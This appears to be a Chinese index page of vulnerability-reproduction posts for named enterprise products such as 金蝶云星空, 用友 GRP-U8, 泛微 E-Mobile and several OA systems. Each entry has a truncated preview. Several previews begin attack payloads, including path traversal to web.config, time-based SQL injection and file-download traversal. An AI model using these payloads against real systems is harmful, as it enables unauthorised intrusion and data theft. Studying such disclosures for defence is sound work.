S38-2赛蓝-企业管理系统-任意文件读取 漏洞复现: payload: GET /Utility/GetJSFile?filePath=../web.config HTTP/1.1 Host: Us...
livenvr-青柿视频管理系统-PermissionAC
L16-1livenvr-青柿视频管理系统-PermissionAC 漏洞复现: paylaod1 payload: GET /api/v1/device/channeltree?serial=&am...
科荣-AIO-SQL
K1-5科荣-AIO-SQL 漏洞复现: payload: GET /moffice?op=showWorkPlan&planId=1';WAITFOR+DELAY+'0:0:5'--&...
金蝶-云星空-SQL
J8-14金蝶-云星空-SQL 漏洞复现: payload: /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.Account.AccountServic...
九思-OA-任意文件上传
J5-3九思-OA-任意文件上传 漏洞复现: payload: /jsoa/wpsforlinux/src/upload_l.jsp?openType=
华天动力-OA-任意文件读取
H18-4华天动力-OA-任意文件读取 漏洞复现: payload: GET /OAapp/jsp/downloadWpsFile.jsp?fileName=../../../../../../hto...
广州图创-图书馆集群管理系统-PermissionAC
G2-3广州图创-图书馆集群管理系统-PermissionAC 漏洞复现: payload: /interlibSSO/api/BrowseLogInterface?cmdACT=doDataFlow...
用友 GRP-U8 U8SMSProxy SQL注入漏洞
漏洞描述 用友 GRP-U8 U8SMSProxy 接口存在一个 SQL 注入漏洞,通过这个漏洞可以操纵服务器的数据库。这意味着不法分子可以利用这个漏洞来获取对数据库的完全控制权,从而...
泛微E-Mobile installOperate.do SSRF漏洞
0x01 产品简介 泛微e-Mobile移动管理平台是一款由泛微软件开发的企业移动办公解决方案。它提供了一系列功能和工具,使企业员工能够通过 移动设备随时随地进行办公和协作。 0x02 漏洞概述 某微...
用友畅捷通T+ 前台SQL注入漏洞复现
漏洞描述畅捷通T+的某后台功能点只校验了权限,未对用户的输入进行过滤,导致在权限绕过后存在SQL注入漏洞,利用此漏洞攻击者最终可以实现远程命令执行。影响范围畅捷通T+ 13.0畅捷通T+ 16.0漏洞...
通天星CMSV6车载定位监控平台 disable SQL注入漏洞
0x01 免责声明 免责声明 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性...
多客圈子论坛系统 httpGet 任意文件读取漏洞
01漏洞描述 多客圈子论坛系统 /index.php/api/login/httpGet 接口处存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件等)...
244